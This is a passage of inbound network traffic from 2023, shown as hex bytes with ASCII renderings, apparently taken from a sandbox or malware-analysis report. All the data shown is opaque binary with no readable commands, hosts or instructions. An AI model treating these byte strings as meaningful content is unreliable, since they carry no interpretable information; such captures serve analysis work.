8f 33 3f 96 73 e0 94 05 77 5c ae 23 1d a5 c1 49 df ad 28 a8 8c 21 7a 8c 1e ab ac 6a 05 b8 39 86 96 a8 2c 13 8a cc 69 4d b6 63 9f eb 22 64 37 df 62 70 5f 6f 7c 92 e4 c8 d7 6a 63 a9 72 19 d7 8c 5b d9 6a fc 98 0f 59 8d 68 27 7e Data Ascii: '`[X8Csp..ZpbobO`,,<,"o*}Uf;z`T($N"C:XCYCww4!.w%^Iu6Z>072yEJ>yN3ck\|k~QYA3?sw\#I(!zj9,iMc"d7bp_o\|jcr[jYh'~
2023-02-22 08:42:08 UTC	174	IN	Data Raw: 4e 82 df 39 6e 58 ed 64 62 e7 45 a2 75 92 e8 f4 7d c3 b0 95 1a 9c fe 75 9d f3 bd 4d 08 7e 25 3c af 5a 17 62 c2 cc 1d 8c 2c e3 9f a1 25 5f da 8d 50 2b 48 c4 50 b9 00 8f 1e 4e 74 08 eb b3 0a df c0 38 cf 58 0c 66 ef 24 2d 78 2b 36 0b 4b b1 2a 7d c1 ef ae 62 24 25 12 31 0e 0b e4 a4 79 38 3b 06 7c 62 d7 d7 99 7c 0e ee c5 fb 6f 2a 3c b2 92 e6 40 87 36 ab 36 7d 25 57 ad 9c 8f 15 ef 78 d1 47 8c c3 9b ea d8 d4 74 85 01 da 03 a8 fd f8 8f 6b 29 ef d9 13 e5 4e 54 e1 21 66 9a fc e6 cc 5e 6d 01 80 5a b8 13 7f 15 9f de c3 98 12 fa 0e 37 c1 fc 74 1f fa 73 7b ef 0f 06 45 86 a3 98 59 86 ae ba 11 c9 87 eb 84 fb 13 41 2f 61 06 24 f6 28 e0 10 29 ca c6 e4 93 18 74 98 a2 b7 c2 85 15 cb 96 e0 e7 28 47 e5 ce 0a 7a 5f 2f 40 55 ee 01 d5 9b 1e 11 de 29 ac 47 72 25 af cb be a3 7d ea Data Ascii: N9nXdbEu}uM~%<Zb,%_P+HPNt8Xf$-x+6K}b$%1y8;\|b\|o<@66}%WxGtk)NT!f^mZ7ts{EYA/a$()t(Gz_/@U)Gr%}
2023-02-22 08:42:08 UTC	178	IN	Data Raw: 11 89 f3 3b 68 57 dc 84 f0 ce 12 1e 0c 77 26 b7 b6 99 c4 86 2b 34 3d 98 85 b3 51 2c 25 59 0b c9 7d ec 85 d9 bb 9b 02 08 68 e0 d8 b9 b3 6c 8d 5b 4d 99 ae 1f 59 1e e1 84 cf 7f c8 b3 68 25 7e ab 3b b1 da bc 2f 5b 1b 17 70 4c f3 1e 87 97 aa 20 39 60 13 6a 26 fe 44 ba 26 92 92 31 92 e8 cd a1 5c de a8 cb c7 79 21 54 97 ac 64 f9 ee e3 fc 1b 2f c6 d0 6e 27 de 4a d9 30 3b 46 5b 00 7b 51 dc 29 dc ca ea e6 d3 e4 fa ee 43 42 ea 35 2e eb 6e 33 ee e7 48 0c 94 ca 19 78 a5 15 df 5f 1d b8 2a 7d e4 e3 bd 6e 3a 1e e7 93 d1 ec c7 f7 52 09 ba 65 63 e9 1a 7f 0b 9d 03 db a8 d1 8f c2 a1 4a 84 c1 eb f2 99 55 25 84 c2 9d 91 7c f6 99 c9 cb ae 2f 44 ec ec 8f 58 4f 04 69 c5 83 49 79 5e c4 1c 91 72 16 2c 8a c4 67 6d 1d af 2f 9c 24 2a 5f 30 a7 6f ce 92 b2 4d 96 11 db 52 71 50 9e 42 da Data Ascii: ;hWw&+4=Q,%Y}hl[MYh%~;/[pL 9`j&D&1\y!Td/n'J0;F[{Q)CB5.n3Hx_}n:RecJU%\|/DXOiIy^r,gm/$_0oMRqPB
2023-02-22 08:42:08 UTC	182	IN	Data Raw: f6 88 d3 ef 6b 31 f9 20 28 eb ca bb 84 d4 54 f1 2f f9 05 6a 3d ef f9 b6 bd 84 c6 ee 04 ea af 3a 52 a2 ae 84 cf eb d3 dc 32 1a c1 c8 58 5d bc a4 c2 98 f0 2f 91 a3 9f ef 91 7b e2 32 f7 4c 4a b1 89 a8 e1 f2 c1 45 1c be bb 8b 13 bf e6 52 97 f3 1d a9 f3 a2 8c ca 2c 26 64 b1 0a a3 b8 44 e3 32 37 84 b6 c6 21 92 6e 4a 8d f3 0b 0a ea e6 f0 fa 9c 3e 61 bd c3 18 b7 57 1d 3d 8b 0a 5e 98 ef c4 7a ee 48 fc 8a c3 79 ba 7f 1a 2a 7f 04 d6 5a db c0 89 09 b7 38 ec 78 16 e7 bd 62 6c fa 7c 92 fa 9b b5 e8 4c 97 e4 c3 6c 4f fa 68 9f 62 e3 68 65 fc f7 1b f1 79 84 23 c1 ee e7 e9 62 13 3d 92 c3 58 df db c9 70 0b 2d 4e b6 2f 26 f1 98 e0 9e 7b 1b d1 33 70 04 37 83 0b d0 8d fa 8d de 5c 67 9a df 2c 62 e0 a2 78 ae 3a f7 32 64 d4 4d a6 7a 2b 51 75 6a 20 07 ca cf f3 b3 36 14 87 4e 0b 9e Data Ascii: k1 (T/j=:R2X]/{2LJER,&dD27!nJ>aW=^zHy*Z8xbl\|LlOhbhey#b=Xp-N/&{3p7\g,bx:2dMz+Quj 6N
2023-02-22 08:42:08 UTC	186	IN	Data Raw: de 87 85 8d e2 a4 99 38 d0 34 f4 1c bd 3f 22 19 1f 27 b8 bf e7 02 11 0e 7f 82 ed 9f 20 5e 96 d6 d0 b2 f7 00 4a 4b d3 78 9e 39 84 1b f2 45 48 7e 7d 8a b9 e3 3b c6 ee ff 44 ce 88 06 b6 cb 3b d2 d1 db c6 3a b1 76 3e 0a e0 d6 3f 48 90 a5 77 4f 51 f3 d0 96 67 0f 05 60 62 b1 99 b3 2e 1b e9 c6 91 69 62 8f f0 3d 51 88 e1 e0 26 56 e5 c4 92 61 27 28 bd 47 09 2c 73 fb c2 8d 7f ef 48 2c ef c7 82 49 a6 f4 9f 7f 81 fc 2f 9f 08 7d 90 41 c0 a3 35 f8 7a 08 b2 f3 93 17 27 24 fe b1 49 00 a1 69 b9 8d ec 9f 1a c9 af 59 45 1c 1b a5 c7 32 b3 45 e4 ea ab 30 bb 5e 03 87 63 6f 18 74 f0 32 df be fa f1 78 cc 39 54 ef b7 20 b7 75 1d 5f bd fb f1 52 c3 82 8f 06 9d 5c 14 c8 c1 b3 82 03 48 3c b7 e1 61 5e 0e 2e af df d1 9c e1 45 a3 cb 3e 24 bc 7c a9 a8 18 4c f1 d0 39 dc 8f 9a 86 f2 ef e5 Data Ascii: 84?"' ^JKx9EH~};D;:v>?HwOQg`b.ib=Q&Va'(G,sH,I/}A5z'$IiYE2E0^cot2x9T u_R\H<a^.E>$\|L9
2023-02-22 08:42:08 UTC	190	IN	Data Raw: 7b 51 c8 0b e3 5a eb 0e 4a 05 c7 69 fa a0 c3 f4 27 ed 74 ef 9f 42 f0 e0 21 c8 bc 78 47 cc cf b7 1c 98 12 8a ac d9 40 66 c6 b9 33 79 85 22 5d 97 2e 13 2f e5 c8 9a ae 5c aa 46 d6 32 45 de 5a 00 e8 5f 58 b3 dd 97 8f 93 44 49 f8 17 2c d8 23 15 38 0e 2d 46 db 24 1e 49 fb b3 b8 dd dd 4a f2 e9 02 e2 2c 3e 51 9f 7c 88 13 67 a7 c0 8e 53 a4 68 db 22 ff 67 06 b2 2a 1d 94 55 eb b3 f1 48 13 9b 13 76 71 6e 4a 0a 31 02 28 eb 58 2d cd 70 e7 10 cc b3 73 28 3e fc 89 4f 0d af b1 e9 2d 42 b4 48 93 6a 97 d3 3c 7f 99 cc 53 bd 05 84 19 ad c3 75 51 28 43 dd 26 d1 d0 d0 c1 61 0f 6f dc b5 db 98 ba e7 04 3b 9f ab 23 93 d1 89 cc cb b9 8c 30 7b c8 c2 c6 3d 1c 3b 6a ce a2 ac c3 14 3e 2f 66 78 ab 3d 55 9f ea 78 21 d8 8b 19 47 7b e8 b9 7f 0c cd 54 43 8c 43 c5 b8 f7 71 29 6b a7 66 b2 fa Data Ascii: {QZJi'tB!xG@f3y"]./\F2EZ_XDI,#8-F$IJ,>Q\|gSh"g*UHvqnJ1(X-ps(>O-BHj<SuQ(C&ao;#0{=;j>/fx=Ux!G{TCCq)kf
2023-02-22 08:42:08 UTC	193	IN	Data Raw: 2b 9a c3 97 b5 4f 88 d4 dc ca e1 e6 54 14 c6 0e e5 ce e9 64 8a 7a 8f 90 1f f4 12 af a9 f3 79 29 24 87 47 c0 6f 2e 5b 46 f2 a9 63 27 b3 cf 57 60 a1 76 86 21 8d 03 d0 fa 38 81 77 8b 6d 58 17 6c c4 ad f3 ed 18 5e e9 4b a5 f2 09 34 e6 86 72 52 66 17 52 fe 6a 8c 0c 8f 64 b1 e9 4c 62 b2 2f b2 e2 ab 09 56 54 a3 e5 14 4c c3 e6 e1 64 dd 88 40 6d a1 60 d3 b8 0d e7 66 e7 53 f2 06 5d c0 f4 41 06 96 a7 9e 51 2a ee c0 8b ce a1 2c b4 1f 88 f7 83 a9 ac fc b5 0a a7 b0 68 46 fc 28 46 ff 41 2b 93 8e d8 d1 ff 5b 3a 0b 36 0f 24 fd 86 24 5d de 27 08 0f f6 24 ea d6 5d bc af 6d a3 27 b2 9b eb 1a 31 4c 33 69 20 53 bf 16 0b fb 10 ee 7e 91 e1 9e c5 65 f4 57 04 a3 f5 b9 96 a1 77 a5 78 d2 3d 10 e3 59 2e ac 36 9e 41 6c 5b 2f 57 8f ac 47 61 cd 20 74 f5 aa 71 4f 69 a3 a8 29 8d 88 88 1a Data Ascii: +OTdzy)$Go.[Fc'W`v!8wmXl^K4rRfRjdLb/VTLd@m`fS]AQ*,hF(FA+[:6$$]'$]m'1L3i S~eWwx=Y.6Al[/WGa tqOi)
2023-02-22 08:42:08 UTC	197	IN	Data Raw: 0f e8 7e b6 82 37 d1 2f d1 7c 11 44 ef eb 53 14 ca 4b 08 b4 fa 01 7f 8c fa a2 9e fd 85 77 99 17 f9 f1 fb 0b cb 2f 87 33 7f 7b 33 ea 4f 1a 10 2f d3 42 c9 f2 3d 6f f7 3b 72 b2 8f 0a 19 2e b5 58 97 f8 f3 42 e3 10 97 35 02 30 b9 11 4d ff be 1b d1 aa 6a 64 4d 61 01 17 bf 46 b1 f4 97 23 d9 05 33 39 2f d7 ca d0 61 2f f9 e9 d9 97 3b 33 da 68 ee b7 9b c2 d0 e9 1c 0f 7e c4 97 b1 df d0 b8 63 c6 49 8b 8d 34 b4 0c e6 9d c0 da 8c 53 3f 50 bb 26 87 f6 6f 65 dc cb 16 0c ea f6 1b f4 79 f1 92 43 77 fa a1 fd 74 23 11 ce 17 98 63 6b 88 6a 95 14 45 41 95 78 b9 3f a1 e3 96 11 ba 9d de 54 7c 33 66 8d 93 c0 30 cb 87 a3 b8 50 9d 5b eb ae 62 e1 9c c3 fc f1 2a 94 1b f5 43 79 ff 34 3c cb 2d 98 38 d9 82 b1 e6 72 54 bc 0b 67 d2 93 1d a8 4e fe 84 4d cd 5e ca 1a 57 92 f6 fb 32 23 c3 a7 Data Ascii: ~7/\|DSKw/3{3O/B=o;r.XB50MjdMaF#39/a/;3h~cI4S?P&oeyCwt#ckjEAx?T\|3f0P[b*Cy4<-8rTgNM^W2#
2023-02-22 08:42:08 UTC	202	IN	Data Raw: 85 d7 f5 2a f6 dc 1e 8d 71 70 07 56 f2 43 a8 57 d2 e4 65 91 2c 5b fd 5d d0 29 7d c5 52 85 15 0c 32 cb 62 d9 d5 2d 9c 9d b0 0b 3a 0b 88 c8 bf 86 87 a2 23 95 2f 75 18 bd fa 19 5d a3 d6 70 c8 fd 2e bf fa de 66 c1 73 19 34 2d 7b f8 a5 72 1a cf f3 f7 19 77 fc 09 33 3b 06 33 27 cb 91 8e 1b 5f 11 6e cc 10 14 44 25 b2 9b 2e 31 61 b6 3c 23 6a 0b b1 2e ba c3 b1 01 42 58 3c 3f 8e 7d cb 68 b6 5c 4c 61 db 53 23 36 e7 7e c4 53 7f 30 6d 6d 1a ec 29 b3 27 f4 48 18 05 b3 5e 73 5a 70 dc 19 c7 fa 71 fd ef 21 6e fe 50 e6 68 6f 15 a5 51 c3 31 d7 ac 26 21 e2 2f 5b c2 f2 c9 ef b1 a7 e9 71 0f c3 4e 7f 65 7c 9f e3 48 56 44 a1 52 ba 05 cd ba 5c 3a 26 43 c9 f6 24 de 18 cb 71 d9 ed 01 63 22 b5 98 96 3e 00 c9 db fa b4 37 4d 60 4d d2 1d 76 14 07 51 e0 e2 80 cb ba 4b 54 5b 3d 65 59 81 Data Ascii: *qpVCWe,[])}R2b-:#/u]p.fs4-{rw3;3'_nD%.1a<#j.BX<?}h\LaS#6~S0mm)'H^sZpq!nPhoQ1&!/[qNe\|HVDR\:&C$qc">7M`MvQKT[=eY
2023-02-22 08:42:08 UTC	206	IN	Data Raw: 62 ee b6 99 04 ab 0c c3 f4 ac 21 61 af a4 38 2a 6e 80 90 d6 70 66 66 2f a7 e7 da 44 14 3f 2d 66 8d 96 27 67 b7 5b 63 64 f0 86 d9 79 eb f9 10 93 88 df 4b 10 ef 09 a5 2a f6 27 6a 9f eb 08 95 1b ce f9 08 2f 06 85 b9 11 a6 b5 85 ac d6 56 54 be 3f 64 80 cb 37 aa 3b fd 91 eb f7 88 9d 7b 06 63 60 1e 89 eb d4 a1 28 c8 fa b2 b5 e6 2a 4e 0a b3 b8 a9 f9 8d 2b 23 96 31 f2 9f 0d 09 d7 24 91 9f 69 c3 88 a6 8b fc 39 97 89 c7 70 05 5c 9e 8a 73 ba 64 3b 67 ac 57 73 33 64 02 5f fd fa b3 b1 4f 3b 3a 62 ef d8 64 56 c7 7d 87 99 0c 88 14 61 d9 c4 47 e4 3b e9 51 7e fb 13 8b a7 5e e4 40 e4 02 ce db 8e a7 20 46 04 19 87 1c e6 b8 7d e1 b2 4e 3e f6 01 9a dc b7 9b 45 9c a0 39 aa f6 3b c0 08 87 38 a2 f2 4b 51 38 58 cf e0 0b 3d 04 2d 4d e1 89 c0 a6 5d d6 d4 e3 b5 a4 9c 7f b7 13 18 bd Data Ascii: b!a8npff/D?-f'g[cdyK'j/VT?d7;{c`(*N+#1$i9p\sd;gWs3d_O;:bdV}aG;Q~^@ F}N>E9;8KQ8X=-M]
2023-02-22 08:42:08 UTC	210	IN	Data Raw: 17 f5 c7 62 70 2c 55 fb 5f f1 35 ad 1b bd 55 9a 04 07 f8 b1 53 6c 35 5b ce 8b 52 ef 7e 9f f0 65 cb f8 94 f1 87 40 f3 5c 5e 8e 5c 44 45 78 06 5a 19 e2 dc 98 9a c2 ae fb f3 04 e6 63 45 8c f1 1a de ca f4 d0 e5 37 81 b8 48 0f 3e 2e 78 81 f4 bc d9 fc 34 79 c0 70 93 02 fc 0c 52 69 fe 1a ce b2 3d 33 d1 2f 7c 4c c7 88 eb 98 bd 14 80 71 6c 31 df 5d de 63 d1 94 40 73 74 01 9b 06 1f a7 26 c2 85 d1 f1 82 61 d6 ec cf fa b5 e2 6c 7b 3f 8e 3b 1a c5 58 b6 e9 e2 b7 38 86 c5 d5 89 14 7b f9 70 7d cc 21 1e cf 6c e7 47 87 2f 72 cd f7 d0 4b 2f 45 cd 4d 91 d9 8f c7 72 5f b5 97 84 bc 9f dc ca 15 a2 b9 35 00 ef b6 c3 c4 b5 ee e6 c3 85 ad 3c 3e 50 4e 74 c8 7d bc 66 9b 70 7f f4 1a de 2f 1f 4a f8 48 3d ba 65 d5 79 f0 6a 13 fd 85 6d 68 b8 74 1d db 1d 07 51 13 5d ca 3b 0d 81 65 ba f6 Data Ascii: bp,U_5USl5[R~e@\^\DExZcE7H>.x4ypRi=3/\|Lql1]c@st&al{?;X8{p}!lG/rK/EMr_5<>PNt}fp/JH=eyjmhtQ];e
2023-02-22 08:42:08 UTC	214	IN	Data Raw: af 71 38 bf 0b 9b 59 0f 88 9b f7 9b ab 75 c3 50 39 bd 90 37 07 5c 11 f1 15 04 a5 c5 2d 64 6f 55 73 b3 a2 80 17 e7 fb 30 76 48 0f 43 fb 5d 61 c9 e3 67 b4 c5 a5 33 6f c0 1d 4c 35 b4 f9 10 55 8b e6 e5 03 a4 3f ce a7 3c 2f 98 e9 f7 b7 12 bb 27 92 ad d2 1b 58 1a 3d 8f df db d2 49 38 1b 46 44 de 4a c6 35 0f c1 f6 ef 33 7c ab 4c d8 be a6 87 21 73 12 a8 c8 3b 8c df 1e 5b 4a 07 cb 11 9a 9a 40 a3 50 24 76 05 1d 78 58 2e a3 43 3c 8a 95 e2 ab 98 bb cc 90 05 2f 8d 05 a1 3f 8c d9 e5 57 b8 af 97 cd 9c fb 75 a4 9e 5b 8f dd 66 41 b5 cf 0d e7 e6 b7 79 b4 a4 3c c6 75 b1 2e 23 4a d4 18 54 9d 8b ff af f1 e4 09 82 e0 81 e2 68 41 48 cf e0 74 bc 01 37 de 09 04 e1 84 3e 0d 82 8a 7f cb 25 18 97 94 2d 8c 7d 3a 8f d1 17 3b 30 70 bd 81 f4 d0 2a d6 4a f9 52 9e 39 82 b5 d3 86 91 3a 7b Data Ascii: q8YuP97\-doUs0vHC]ag3oL5U?</'X=I8FDJ53\|L!s;[J@P$vxX.C</?Wu[fAy<u.#JThAHt7>%-}:;0p*JR9:{
2023-02-22 08:42:08 UTC	225	IN	Data Raw: 56 02 5e a5 d1 ea 9d 4f 5a 85 26 b2 8d da 64 8e 1c 87 ea 89 32 1c e7 17 b2 7e 98 21 7f 77 9f 46 6b 96 07 07 aa ea 38 ec a3 40 de 9a 07 fc 3d 95 8e cc 4b 57 6c 74 6a e9 63 b0 85 31 d3 63 b9 b7 52 9a b7 37 bf 13 7f 2c 1a bb 8f 8f d0 73 4e 65 f1 e2 1a 06 5f 6a c3 3a 6c 3a 22 46 0f d8 20 ec 82 b6 64 0d 4b f4 8c d8 9c 3b 80 05 0f 3e a0 3f 67 17 72 01 af e8 16 17 a5 ee 49 07 01 c1 a6 14 97 fe e5 b8 a3 3a f7 17 ed a3 4c e7 2c 0a 69 ab 58 a2 20 8a b6 eb 1d bc ca 9b d0 f6 f3 24 62 7c 3b be fb 15 05 17 71 2f fe 65 72 b8 ea 7d 61 b8 cb 26 ee f8 db 72 e6 65 2e fa fa 93 98 77 67 15 a7 42 4f 21 54 ba 0a b5 aa c3 c4 4b b4 d2 20 ee 4b 8c 5e 04 95 11 1d 3c de 23 c2 f1 e2 bd e8 ce 13 e3 5e cb 14 92 5a 66 a1 d9 fa 94 1b 59 fa bc fd f6 92 55 56 c9 78 e6 f5 12 d5 75 04 b5 51 Data Ascii: V^OZ&d2~!wFk8@=KWltjc1cR7,sNe_j:l:"F dK;>?grI:L,iX $b\|;q/er}a&re.wgBO!TK K^<#^ZfYUVxuQ
2023-02-22 08:42:08 UTC	241	IN	Data Raw: f0 92 da ca cd 01 2b e9 5c 37 92 09 2e 83 70 1e ff 86 c8 26 4f 3e 65 06 e3 fc 29 1e 31 e9 be 88 7e 51 e7 57 d0 3e 3c 64 45 99 ba 73 3a 3a f3 a3 f0 12 bb c5 4e 95 f3 0c fc 39 97 f3 fd 83 59 dd 3d 83 31 2c 40 6a f3 21 3c 04 73 94 76 f0 2e cf 55 f4 59 69 bc 96 fa b3 df 99 d4 54 88 4d db 45 62 d5 3b 78 9c d6 c6 ca 7e 73 d8 6c f4 8d e7 df e5 e9 6a 3b c5 80 96 80 ff 76 09 9a 7f ef 60 c3 1c 49 be 4b ab e2 71 ee 34 7d a2 d6 23 7d 74 3f b6 a9 a5 7c d9 d2 5f a0 f8 26 04 bd 1b 8d cc bc 25 e4 fe 1a ca f4 96 df dc 8e 4f 43 34 7e 14 d6 0a d7 f8 ad 62 84 d9 ae 60 52 7c ca b9 67 33 15 b5 d3 fa cc 28 d7 65 e9 61 13 b4 34 5f 30 6d ea 61 e6 ed b2 e4 64 fe 18 d2 a5 b4 69 fe da 85 43 9b 2c 0b 0c 52 f9 6e ff 85 9a 7f fd 31 9b 13 c8 cf 73 3b b9 f6 47 9f e0 23 1d b8 78 0e c0 d1 Data Ascii: +\7.p&O>e)1~QW><dEs::N9Y=1,@j!<sv.UYiTMEb;x~slj;v`IKq4}#}t?\|_&%OC4~b`R\|g3(ea4_0madiC,Rn1s;G#x
2023-02-22 08:42:08 UTC	257	IN	Data Raw: e7 e4 56 ee 4e 1d 44 8c d4 72 e4 14 b6 a0 34 68 23 a7 f7 5f a7 ae 20 19 ef 80 14 14 ad 34 f1 ff e2 4e a1 01 5c 37 4b 16 ac 49 2f 27 46 85 33 53 b1 88 96 bf 2a 1c 9d 92 c3 de f8 09 04 af c8 a2 ca a2 87 56 df 89 3c 8c 8f 27 a5 df 2b 9e 6f 96 62 e2 4d 05 96 ca 5d e2 c2 32 29 76 f4 48 30 68 ef 24 2e 45 8b a1 71 af 81 09 4b ff 51 25 f1 9b be 09 2e 9c 1a ec 8e f6 58 61 54 b4 56 b1 ca 6d 30 f3 55 7d 28 7a 28 c9 eb 4f 23 98 68 63 c5 8e e4 3b 5c 79 59 4d 68 fd 69 a2 ca 47 30 f4 fe 06 fa 7e fa 85 e7 7e 51 d6 9e a8 62 c1 f0 1c aa c5 1a 79 97 36 8f 3f 61 9b 58 f9 5b 8e 01 59 53 11 9d b8 87 95 47 4f b2 a4 e2 25 e2 f3 92 f8 db 2f 92 da d0 30 64 af 5f e7 ea 22 33 8c ad 85 b8 bd 44 8c 4f ce 7f d0 7e dc 86 be d6 7b b4 cc eb 71 99 32 94 21 46 0b b0 eb fb 97 5f 65 4e 18 1f Data Ascii: VNDr4h#_ 4N\7KI/'F3S*V<'+obM]2)vH0h$.EqKQ%.XaTVm0U}(z(O#hc;\yYMhiG0~~Qby6?aX[YSGO%/0d_"3DO~{q2!F_eN
2023-02-22 08:42:08 UTC	273	IN	Data Raw: 70 98 a3 0f eb f0 b0 71 e0 d2 a6 43 d4 4f 3a c2 9e c5 75 54 48 9d 22 e7 7b 0b fa 56 16 f4 7b dc 87 76 a5 4a 9a b5 4a b0 ff 12 c8 e0 c5 06 f8 6e 4c 47 a5 c0 98 b1 1b 2e 13 3b cc 0d e7 be 43 18 32 6a 3f 77 ee b8 b0 3e 75 06 bf e6 87 90 74 e3 27 87 9e 59 10 32 2a 9d f9 ae a9 64 6b 4c e1 52 fb 60 1c 8f bd e7 e3 a2 74 d2 86 27 20 f3 4c 97 ac 41 41 74 ba c5 d0 91 fd 9c 29 6f b7 f1 35 71 2f ed 27 de b1 cf eb 0b ba 0f 86 a3 a4 3c 84 ba c3 7a 3c 69 bd cc b2 30 45 52 63 76 91 f7 77 07 99 23 0e 10 1c 75 80 3a 47 59 9c d7 c9 e2 ba c6 9f 88 d8 3f 8c 16 83 aa e8 be 9c 9f ba 09 a3 f0 6f 4c 16 df cd a2 f5 43 18 70 b5 8d 1b 3b e3 d1 0d 7c 8e d5 d2 ab 7c 69 3e 44 db a2 28 2e 8c d1 e3 91 70 32 be 5b 2c 78 74 61 37 2f 88 62 45 87 02 83 a2 8f 63 6c 53 45 60 8d b4 e0 f8 12 02 Data Ascii: pqCO:uTH"{V{vJJnLG.;C2j?w>ut'Y2*dkLR`t' LAAt)o5q/'<z<i0ERcvw#u:GY?oLCp;\|\|i>D(.p2[,xta7/bEclSE`
2023-02-22 08:42:08 UTC	289	IN	Data Raw: 89 94 44 00 75 37 97 f3 ce ac 12 f1 14 3f 94 ee 95 f0 f5 46 23 e5 85 5b 69 55 5c c6 ac b3 35 74 e8 1d c4 67 a2 2d da 7b d3 b9 ec d7 48 5e c8 28 34 df a7 a3 70 cb 9b 3a 93 cb 34 e5 5d a7 fa f6 62 2c 1f 54 11 1d e7 ca 90 1d 5f 49 fd b4 9d ca a2 77 fc aa b8 87 51 40 1a 6f fd 9e 51 7e a7 89 9d 23 e4 d8 a8 60 c2 59 71 57 c6 1c 7f 40 80 e6 7b 8a 8c 3d 89 6b b3 e0 d4 ef 7e 2c a8 3e 8e ea f8 30 5a 3d d2 79 70 7d 39 2b ae ec e7 8e d5 07 96 7c 53 61 cf 88 d1 18 25 36 71 a2 6c 27 71 41 e1 ac de b8 87 5e a9 42 54 bc af 32 5f f6 15 b9 53 2c 31 48 be c9 c1 6b be 88 ec a9 e6 e8 73 6b 5c 04 e0 bc 2c ec 25 97 95 8a 79 e6 f9 8b c9 31 4e cc ad ed 45 6f 8e 11 89 a3 af d0 ed 94 ce e6 25 1b b9 f9 26 95 99 9b 2d 69 78 5a ca b4 a9 a5 ac 3e 78 8e 93 16 e2 9c 4f 2d e0 cf b9 56 5e Data Ascii: Du7?F#[iU\5tg-{H^(4p:4]b,T_IwQ@oQ~#`YqW@{=k~,>0Z=yp}9+\|Sa%6ql'qA^BT2_S,1Hksk\,%y1NEo%&-ixZ>xO-V^
2023-02-22 08:42:08 UTC	305	IN	Data Raw: c0 05 53 fb 12 54 f2 d3 69 1e b9 9c 89 76 ba d8 5d 55 60 72 d4 41 46 8c cc e6 b9 c1 1f 32 a7 fb 22 79 74 19 1f 7e 8f e4 71 7b 1a 66 07 eb e9 bd 9c 80 7b d8 76 06 cf ed cf 48 73 69 e6 78 2d e4 d9 c1 93 0c f6 b5 c1 69 fe 50 ee 9b dc 26 68 4e 06 b9 19 61 ec 0b cf 64 4c 81 19 e5 8a 8f 68 37 9b 80 c1 b6 87 48 2f 28 e1 59 5d 24 3f 76 18 b3 f1 fa 25 34 e4 8e f1 5b 78 29 06 39 9f 59 7d e4 12 9b cf 69 d0 1d 73 9b 3e cf 5e a1 ec f0 1d 9b 93 b7 05 30 b5 12 31 ab 15 ac 9d ef 4d 78 cd 6a 6e 5d 18 49 ad b0 25 6a e3 1c 59 31 ba 89 91 9f 15 30 d6 ee c7 c8 7e 76 04 4e d4 45 77 ac 39 36 15 ae e4 6f b9 c9 10 93 c1 dc b7 c8 a2 66 96 3e 29 8f c5 98 6e ab 81 87 81 23 aa 46 02 eb d0 ee 64 e7 0f 3f 92 da 5e 21 d9 0e eb 4d e7 a0 24 19 8a fd 95 37 8c 2f fe 47 fd 4a 49 c6 19 07 b0 Data Ascii: STiv]U`rAF2"yt~q{f{vHsix-iP&hNadLh7H/(Y]$?v%4[x)9Y}is>^01Mxjn]I%jY10~vNEw96of>)n#Fd?^!M$7/GJI
2023-02-22 08:42:08 UTC	321	IN	Data Raw: c3 c4 b5 18 63 de 42 f3 cb 70 12 97 3a 13 9e f8 9a 0a c5 21 1c cd ed e4 5a c6 1c ae 7a 26 d2 b3 68 2b c3 3e cc c4 48 c8 9e ed 2f 94 08 c8 39 8f d7 a4 47 d4 b4 eb f3 69 6a 07 3f 8f 8d 47 7b 99 09 bb 2b 3e 91 58 d1 9f 31 cf 7f 71 4a f7 0d 6d 4e 45 ac 2e 79 ce ea d7 cf 58 23 f8 d9 d5 93 dd b9 fa 4b 15 11 f7 85 cc 56 68 e6 46 d5 74 92 da 2a 78 b2 60 04 96 da 02 83 99 d4 ca d1 b3 e5 7c 94 d8 cc 9a 2f 8a 0c 9d a1 8e fb 95 56 f2 0d 0e 62 97 15 cc c3 53 77 d8 5b dd cc f8 35 5a e8 84 06 b3 54 4d 8f 80 f2 d9 88 88 08 a8 54 70 f8 ed 6c a5 19 ab d7 cb 78 e1 33 48 f9 f7 27 c0 ee 16 eb 9b 57 f0 f8 71 19 c3 6f b6 91 32 d3 8b d2 ed 11 bc 39 73 0b 85 39 2e d4 38 1e e3 f8 fe d1 94 f4 73 64 52 67 0e fb a6 a7 d0 3b 67 06 29 4f 32 30 0b 5b c7 40 39 79 64 87 25 32 c9 5f 99 b5 Data Ascii: cBp:!Zz&h+>H/9Gij?G{+>X1qJmNE.yX#KVhFt*x`\|/VbSw[5ZTMTplx3H'Wqo29s9.8sdRg;g)O20[@9yd%2_
2023-02-22 08:42:08 UTC	337	IN	Data Raw: 3e a3 92 93 c5 8e 57 47 99 f0 db 16 5d e1 91 c4 db a8 51 b8 fc 05 e5 b3 1c f8 b6 c9 83 bb 1b 9d 58 f4 42 8b ae a9 5e 5c 33 a9 e4 d5 c6 32 66 1f e8 4b 68 9e 1a 62 8a 2d 78 fc 3c cd 8f e1 37 e8 ab 3e 90 27 75 b3 f0 ed 12 a7 73 61 00 f7 ea 5a 18 e2 91 c1 a5 c3 59 4c 0d 10 80 ea d3 f1 b8 39 69 32 da 50 92 7e 1a 77 99 34 70 33 ae b3 fe 90 2d b0 ab 5d be fb 31 d5 9e c7 7e a7 fd ec cb ca a7 5c 57 8a e0 57 33 d9 9a 78 96 a7 05 11 f8 1e 3a cc a3 cc 4a c6 97 5c a5 55 aa 92 2f e2 43 d9 69 11 80 97 78 22 af 9d 5b f9 79 bc 87 0d d2 4b 29 0b b9 cc f8 86 77 e8 ed ce c7 e3 4a 04 e3 4d 95 39 28 b0 6c 61 b9 22 ae 4c de 87 d4 92 69 7c 6d 6a 63 78 a7 2e 99 2b 44 90 9d 37 9a d4 af 7d 70 36 f1 e5 e3 b6 0b 74 ff 5d 88 85 c3 71 56 77 5f a0 b2 db 99 e6 41 31 94 aa 1a b3 38 e4 02 Data Ascii: >WG]QXB^\32fKhb-x<7>'usaZYL9i2P~w4p3-]1~\WW3x:J\U/Cix"[yK)wJM9(la"Li\|mjcx.+D7}p6t]qVw_A18
